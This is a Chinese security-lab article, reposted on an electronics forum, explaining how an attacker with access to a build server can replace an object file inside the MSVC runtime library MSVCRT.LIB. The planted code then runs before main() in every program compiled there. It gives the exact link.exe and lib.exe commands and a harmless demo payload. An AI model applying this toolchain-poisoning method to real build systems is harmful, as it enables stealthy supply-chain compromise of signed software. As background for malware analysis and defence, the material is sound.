0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

MSVCRT.LIB技术的实现细节介绍

蛇矛实验室 来源:蛇矛实验室 2023-04-15 10:28 次阅读

1. 序言

供应链攻击是一种传播间谍软件的方式,一般通过产品软件官网或软件包存储库进行传播。通常来说,黑客会瞄准部署知名软件官网的服务器,篡改服务器上供普通用户下载的软件源代码,将间谍软件传播给前往官网下载软件的用户。在实施攻击时,有一种方式是通过污染上游厂商的编译环境来携带攻击者的恶意载荷。

在污染编译环境时,对污染文件的选择上,需要关注两个重点,第一,要确保被污染分代码能够被编译进目标程序,第二,需要足够隐蔽,防止被安全工具检测到。在Windows环境下,通过替换MSVC的C标准运行库的方式可以同时达到上诉两种要求,下面详细介绍该技术的实现细节。

2. 环境与工具

靶场Windows靶机

任意版本visualstudio

MSVC组件

3. MSVC组件

MSVC全称Microsoft Visual C++,是微软公司的免费C++开发工具,具有集成开发环境,可提供编辑C语言,C++以及C++/CLI等编程语言。VC++集成了便利的除错工具,特别是集成了微软Windows视窗操作系统应用程序接口(Windows API)、三维动画DirectX API,Microsoft .NET框架。可以通过打开Visual Studio Installer查看MSVC组件文件目录,需要污染的C标准运行库就是在该目录下。

e0fe2cc6-dab8-11ed-bfe3-dac502259ad0.png

MSVC有多个版本,可以通过设置中的平台工具集确认自己当前使用的版本,由于笔者当前使用的版本是v143,即14.3。

e1332ce6-dab8-11ed-bfe3-dac502259ad0.png

4. C标准运行库-MSVCRT.LIB

1. 什么是MSVCRT.LIB

Visual Studio使用的CRT静态库文件为MSVCRT.LIB,CRT全程为C runtime Library,意义为Windows的C标准运行库,初始CRT的代码位于多个库文件中,大多数软件发布时使用运行库的动态多线程RELEASE版本,该种方式在编译时需要用到MSVCRT.LIB。

e1594da4-dab8-11ed-bfe3-dac502259ad0.png图:MSVC的CRT初始化库

如果对程序进行调试,观察程序的调用堆栈,会发现程序并非是从编写的main函数开始执行的,这是因为开发者编写C代码时,入口点虽然为main函数,但是在程序运行时,程序真正的入口点为mainCRTStartup函数,在编译时会将MSVCRT.LIB的内容链接到开发者自定义代码之前。

e1771546-dab8-11ed-bfe3-dac502259ad0.png

2. MSVCRT.LIB的路径

上文中,我们介绍过MSVC组件的路径,并确定使用的版本为14.3,MSVCRT.LIB文件及其源码均在该目录下。源码文件在crtsrcvcruntime中,MSVCRT.LIB在lib文件下存在多种版本,本文使用x86下的MSVCRT.LIB进行演示。

e1a214a8-dab8-11ed-bfe3-dac502259ad0.png

3. 程序的执行流程

在程序运行时,真正的入口点为mainCRTStartup函数,该程序被定义在exe_main.cpp中,其源码如下。

#define_SCRT_STARTUP_MAIN
#include"exe_common.inl"
extern"C"DWORD mainCRTStartup(LPVOID)
{
return__scrt_common_main();
}

可以看到mainCRTStartup调用了scrt_common_main,根据include我们可以知道scrt_common_main被定义在了exe_common.inl中,exe_common.inl的部分代码如下。

static__declspec(noinline) int__cdecl __scrt_common_main_seh()
{
if(!__scrt_initialize_crt(__scrt_module_type::exe))
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);

boolhas_cctor = false;
__try
{
boolconstis_nested = __scrt_acquire_startup_lock();

if(__scrt_current_native_startup_state == __scrt_native_startup_state::initializing)
{
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);
}
elseif(__scrt_current_native_startup_state == __scrt_native_startup_state::uninitialized)
{
__scrt_current_native_startup_state = __scrt_native_startup_state::initializing;

if(_initterm_e(__xi_a, __xi_z) != 0)
return255;

_initterm(__xc_a, __xc_z);

__scrt_current_native_startup_state = __scrt_native_startup_state::initialized;
}
else
{
has_cctor = true;
}

__scrt_release_startup_lock(is_nested);

// If this module has any dynamically initialized __declspec(thread)
// variables, then we invoke their initialization for the primary thread
// used to start the process:
_tls_callback_type const* consttls_init_callback = __scrt_get_dyn_tls_init_callback();
if(*tls_init_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_init_callback))
{
(*tls_init_callback)(nullptr, DLL_THREAD_ATTACH, nullptr);
}

// If this module has any thread-local destructors, register the
// callback function with the Unified CRT to run on exit.
_tls_callback_type const* consttls_dtor_callback = __scrt_get_dyn_tls_dtor_callback();
if(*tls_dtor_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_dtor_callback))
{
_register_thread_local_exe_atexit_callback(*tls_dtor_callback);
}

//
// Initialization is complete; invoke main...
//

intconstmain_result = invoke_main();

//
// main has returned; exit somehow...
//

if(!__scrt_is_managed_app())
exit(main_result);

if(!has_cctor)
_cexit();

// Finally, we terminate the CRT:
__scrt_uninitialize_crt(true, false);
returnmain_result;
}
__except (_seh_filter_exe(GetExceptionCode(), GetExceptionInformation()))
{
// Note:We should never reach this except clause.
intconstmain_result = GetExceptionCode();

if(!__scrt_is_managed_app())
_exit(main_result);

if(!has_cctor)
_c_exit();

returnmain_result;
}
}



// This is the common main implementation to which all of the CRT main functions
// delegate (for executables; DLLs are handled separately).
static__forceinline int__cdecl __scrt_common_main()
{
// The /GS security cookie must be initialized before any exception handling
// targeting the current image is registered. No function using exception
// handling can be called in the current image until after this call:
__security_init_cookie();

return__scrt_common_main_seh();
}

观察源码我们可以看到scrt_common_main中调用了安全cookie与scrt_common_main_seh,scrt_common_main_seh中通过invoke_main到达用户定义的main函数,其调用如下图所示。

e1d3847a-dab8-11ed-bfe3-dac502259ad0.png

上诉内容执行早于main函数,所以污染MSVCRT.LIB文件可以确保注入的代码必然被执行,又因上诉函数调用非敏感函数,通常安全工具不会对其进行检测,因此保证了隐蔽性。

5. 编译环境污染

1. 文件编译

在源码中,我们挑选一个文件进行代码注入,本文选择dyn_tls_init.c进行演示,dyn_tls_init.c的源码如下。

//
// dyn_tls_init.c
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// This source file provides a fallback definition of __dyn_tls_init_callback,
// used whenever TLS initialization is not required.
//
// This relies on a feature of the C compiler known as "communal variables."
// This does not work in C++, and the linker's alternatename features is not
// sufficient here.
//
#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;

PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
return&__dyn_tls_init_callback;
}

添加一些自定义代码

#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;
add(intx,inty){
returnx + y;
}
PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
intx = 1;
inty = 2;
intz = add(x, y);
return&__dyn_tls_init_callback;
}

关闭编译优化选项,此过程不可省略,CTRL+F7编译;

e20fdd3a-dab8-11ed-bfe3-dac502259ad0.png

将编译好的obj文件拷贝出来。

e2197fb6-dab8-11ed-bfe3-dac502259ad0.png

2. 清理原始obj

obj文件就是c文件编译之后产生的一种文件,一个c文件编译之后只会产生一个obj文件,一个lib文件是obj文件的集合,当然,其中还夹杂着其他一些辅助信息,目的是为了让编译器能够准确找到对应的obj文件,这些文件一起通过AR打包。我们需要找到这些辅助信息完成LIB文件中obj目标文件的替换。obj文件可以利用类似7z工具进行解包,解压后如下。

e24ca242-dab8-11ed-bfe3-dac502259ad0.png

在目录中有两个文本文件,里面记录了obj文件对应信息,搜索dyn_tls_init.obj,搜索到D:a_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj,该值为dyn_tls_init.obj打包时文件的路径。删除MSVCRT.LIB文件中dyn_tls_init.obj的相关信息,删除obj需要link.exe工具,该工具在MSVC的bin目录下,删除指令如下。

link-lib"XX:XXXmsvcrt.lib" -remove:D:a\_work1sIntermediatecrtvcstartupbuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj

3. 写入新编译obj

在清理完原始obj文件后,将新编译好的obj文件写入lib文件,解压lib文件后,可以发现除了文本文件外,还有一个文件夹名为D_,该文件夹代表obj文件打包前所在的磁盘盘符,也就是D盘。在通过MSVC的工具进行打包时,会根据obj所在路径创建对应的文件,并将obj的路径记录到里面的文本文件中。也就是说新编译好的文件不需要与原始obj文件在相同目录下,但是为了看起来更加完美,建议根据文本文件中的地址为编译好的obj文件创建相同的路径。写入lib文件需要用到lib.exe工具,使用指令如下。

lib "XX:XXXmsvcrt.lib""D:a\_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj”

写入obj后,新建一个C/C++的项目,随意编写一些代码。

e2771db0-dab8-11ed-bfe3-dac502259ad0.png

编译后使用反汇编工具查看main之前的代码,发现写入dyn_tls_init.obj的功能已经被编译到工程中,反汇编代码如下。

call___scrt_release_startup_lock
pop ecx
callsub_401CD0
mov esi, eax
xoredi, edi
cmp [esi], edi
jz shortloc_401783
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_401783
mov esi, [esi]
push edi
push 2
push edi
mov ecx, esi
callds:___guard_check_icall_fptr
callesi
callsub_401D0B
mov esi, eax
cmp [esi], edi
jz shortloc_4017A1
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_4017A1
push dword ptr [esi] ; Callback
call_register_thread_local_exe_atexit_callback
pop ecx
call_get_initial_narrow_environment
mov edi, eax
call__p___argv
mov esi, [eax]
call__p___argc
push edi ; envp
push esi ; argv
push dword ptr [eax] ; argc
call_main
##注入的内容
#sub_401CD0
pushebp
movebp, esp
subesp, 0Ch
mov[ebp+var_8], 1
mov[ebp+var_4], 2
moveax, [ebp+var_4]
pusheax
movecx, [ebp+var_8]
pushecx
callsub_401D00
addesp, 8
mov[ebp+var_C], eax
moveax, offsetunk_405380
movesp, ebp
popebp
retn
#sub_401D00
pushebp
movebp, esp
moveax, [ebp+arg_0]
addeax, [ebp+arg_4]
popebp
retn
endp

6. 总结

通过上诉例子可以看出,污染CRT静态库文件的方式简单易用,且具有很高的隐蔽性,当攻陷对方编译服务器时,该方式危害极大,因其与源码一同被编译到项目中,会携带合法签名。希望在大家在了解其工作原理后,不仅收获了一种新的代码劫持技能,在分析恶意软件时也多了一个思路。

丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案以及靶场仿真复现等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。





审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • CRT技术
    +关注

    关注

    0

    文章

    5

    浏览量

    6645
  • 汇编语言
    +关注

    关注

    14

    文章

    409

    浏览量

    35745
  • C++语言
    +关注

    关注

    0

    文章

    147

    浏览量

    6972
  • CLI
    CLI
    +关注

    关注

    1

    文章

    79

    浏览量

    8530

原文标题:供应链攻击之编译环境

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    巧用命令实现PG LIB的增量式生成

    Liberty(俗称LIB和DB),是后端设计中重要的库逻辑描述文件,这里边包含了除过physical(当然也有一点点涉及)以外所有的信息,对整个后端设计实现有非常大的作用。
    的头像 发表于 11-03 12:56 805次阅读
    巧用命令<b class='flag-5'>实现</b>PG <b class='flag-5'>LIB</b>的增量式生成

    嵌入式系统设计时需要注意的技术要点和实现细节有哪些?

    为什么需要safe mode?嵌入式系统设计时需要注意的技术要点和实现细节有哪些?
    发表于 04-25 08:49

    分立器件的实现细节

    ​概述负载开关电路日常应用比较广泛,主要用来控制后级负载的电源开关。此功能可以直接用IC也可以用分立器件搭建,分立器件主要用PMOS加三极管实现。本文主要讨论分立器件的实现细节。电路分析如下图所示R5模拟后级负载,Q1为开关,
    发表于 10-28 08:28

    Linux下的lib文件故障解决实例

    Linux下的lib文件故障解决实例
    发表于 09-11 08:48 4次下载
    Linux下的<b class='flag-5'>lib</b>文件故障解决实例

    时序分析基本概念介绍——时序库Lib,除了这些你还想知道什么?

    时序分析基本概念介绍——时序库Lib。用于描述物理单元的时序和功耗信息的重要库文件。lib库是最基本的时序库,通常文件很大,分为两个部分。
    的头像 发表于 12-15 17:11 1.2w次阅读
    时序分析基本概念<b class='flag-5'>介绍</b>——时序库<b class='flag-5'>Lib</b>,除了这些你还想知道什么?

    Cadence小技巧:利用lib功能免除新ADE的设置

    Cadence小技巧有很多,今天就来介绍一种利用lib功能免除新ADE的设置的办法。详细的内容请看文章。
    的头像 发表于 02-18 15:00 8217次阅读
    Cadence小技巧:利用<b class='flag-5'>lib</b>功能免除新ADE的设置

    使用Lib实现24C02的程序资料免费下载

    本文档的主要内容详细介绍的是使用Lib实现24C02的程序资料免费下载
    发表于 05-06 17:11 12次下载
    使用<b class='flag-5'>Lib</b><b class='flag-5'>实现</b>24C02的程序资料免费下载

    keil和IAR中lib库文件的生成和使用

    lib静态库的使用可以简化项目开发流程,提高开发效率,本文详细介绍了在keil和IAR环境下lib库的生成和使用。
    发表于 12-03 11:51 15次下载
    keil和IAR中<b class='flag-5'>lib</b>库文件的生成和使用

    bitcoinjs-lib比特币客户端功能的javascript实现

    bitcoinjs-lib.zip
    发表于 06-06 16:35 2次下载
    bitcoinjs-<b class='flag-5'>lib</b>比特币客户端功能的javascript<b class='flag-5'>实现</b>

    lib-zjson C++版JSON库

    ./oschina_soft/gitee-lib-zjson.zip
    发表于 06-17 09:58 0次下载
    <b class='flag-5'>lib</b>-zjson C++版JSON库

    AN075 基于MDK实现Lib库调用方案介绍

    AN075 基于MDK实现Lib库调用方案介绍
    发表于 03-01 18:56 0次下载
    AN075 基于MDK<b class='flag-5'>实现</b>的<b class='flag-5'>Lib</b>库调用方案<b class='flag-5'>介绍</b>

    时序分析基本概念介绍—时序库Lib

    今天主要介绍的时序概念是时序库lib,全称liberty library format(以• lib结尾),
    的头像 发表于 07-07 17:15 2958次阅读
    时序分析基本概念<b class='flag-5'>介绍</b>—时序库<b class='flag-5'>Lib</b>

    e² studio创建lib文件及使用

    目录 一、 简介 二、 制作lib文件 三、 调用库函数 四、 总结 一、简介 工程师在开发过程中时常会因为各种原因,想要把部分代码封装成库函数。e 2 studio自带建立库函数工程的功能,本文
    的头像 发表于 07-12 12:05 1134次阅读
    e² studio创建<b class='flag-5'>lib</b>文件及使用

    介绍一种测试标准单元lib的方法

    不知道大家有没有想过,拿到手一个标准单元的lib,它里面的那些参数是怎么得出来的?我们做出来的芯片成品,真的会按lib里描述的那样,timing的值分毫不差吗?
    的头像 发表于 12-06 15:26 474次阅读

    e² studio创建lib文件及使用

    e² studio创建lib文件及使用
    的头像 发表于 01-18 08:06 434次阅读
    e² studio创建<b class='flag-5'>lib</b>文件及使用